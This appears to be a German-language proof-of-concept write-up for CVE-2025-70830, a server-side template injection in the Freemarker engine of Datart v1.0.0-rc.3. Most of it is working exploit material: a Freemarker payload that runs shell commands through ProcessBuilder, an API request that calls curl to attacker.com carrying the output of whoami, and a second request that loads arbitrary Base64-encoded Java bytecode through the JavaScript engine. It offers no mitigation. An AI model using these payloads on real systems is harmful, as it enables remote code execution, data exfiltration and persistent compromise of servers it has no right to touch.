xiaoxiaoranxxx/cve-2025-70830Eine Server-Side Template Injection (SSTI)-Schwachstelle in der Freemarker-Vorlagen-Engine von Datart v1.0.0-rc.3 ermöglicht es authentifizierten Angreifern, beliebigen Code auszuführen, indem sie manipulierte Freemarker-Vorlagensyntax in das SQL-Skriptfeld einschleusen.
In der Version v1.0.0-rc.3 von Datart weist die Freemarker-Template-Engine eine Serverseitige Template-Injection (SSTI) auf. Ein authentifizierter Angreifer kann durch das Einschleusen bösartiger Freemarker-Template-Syntax in das SQL-Skriptfeld beliebigen Systemcode ausführen.
Im SQL-Skript-/Abfrageeditor kann das folgende Freemarker-Payload zur Ausführung von Systembefehlen (z. B. id oder calc) verwendet werden:
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=ob("java.lang.ProcessBuilder",["bash","-c","id"])>
${pb.start()}
SELECT 1
Durch Klick auf "Skript ausführen" wird der Befehl im Hintergrund auf dem Server ausgeführt.
Das folgende Request-Paket löst die Schwachstelle über die API aus:
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}
{
"sourceId": "valid_source_id",
"script": "<#assign ob=\"freemarker.template.utility.ObjectConstructor\"?new()><#assign pb=ob(\"java.lang.ProcessBuilder\",[\"bash\",\"-c\",\"curl http://attacker.com/`whoami`\"])>${pb.start()}SELECT 1",
"scriptType": "SQL",
"size": 100
}
Ein Angreifer kann die Java-Klasse javax.script.ScriptEngineManager nutzen, um die JS-Engine aufzurufen und beliebigen Base64-kodierten Java-Bytecode zu laden und auszuführen.
Beispiel-Payload:
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}
{
"script": "<#assign ob='freemarker.template.utility.ObjectConstructor'?new()><#assign sem=ob('javax.script.ScriptEngineManager')><#assign engine=sem.getEngineByName('js')><#assign result=engine.eval('var classLoader=java.lang.Thread.currentThread().getContextClassLoader();var className=\"org.apache.shiro.coyote.deserialization.impl.UnwrappedPropertyHandler\";var base64Str=\"yv66..\";try{classLoader.loadClass(className).newInstance()}catch(e){var clsString=classLoader.loadClass(\"java.lang.String\");var bytecode;try{var clsBase64=classLoader.loadClass(\"java.util.Base64\");var clsDecoder=classLoader.loadClass(\"java.util.Base64$Decoder\");var decoder=clsBase64.getMethod(\"getDecoder\").invoke(null);bytecode=clsDecoder.getMethod(\"decode\",clsString).invoke(decoder,base64Str)}catch(ee){try{var datatypeConverterClz=classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");bytecode=datatypeConverterClz.getMethod(\"parseBase64Binary\",clsString).invoke(null,base64Str)}catch(eee){var clazz1=classLoader.loadClass(\"sun.misc.BASE64Decoder\");bytecode=clazz1.newInstance().decodeBuffer(base64Str)}}var clsClassLoader=classLoader.loadClass(\"java.lang.ClassLoader\");var clsByteArray=(new java.lang.String(\"a\").getBytes().getClass());var clsInt=java.lang.Integer.TYPE;var defineClass=clsClassLoader.getDeclaredMethod(\"defineClass\",[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);var clazz=defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance()}')>SELECT 1",
"sourceId": "valid_source_id",
"size": 1000,
"scriptType": "SQL",
"columns": "",
"variables": []
}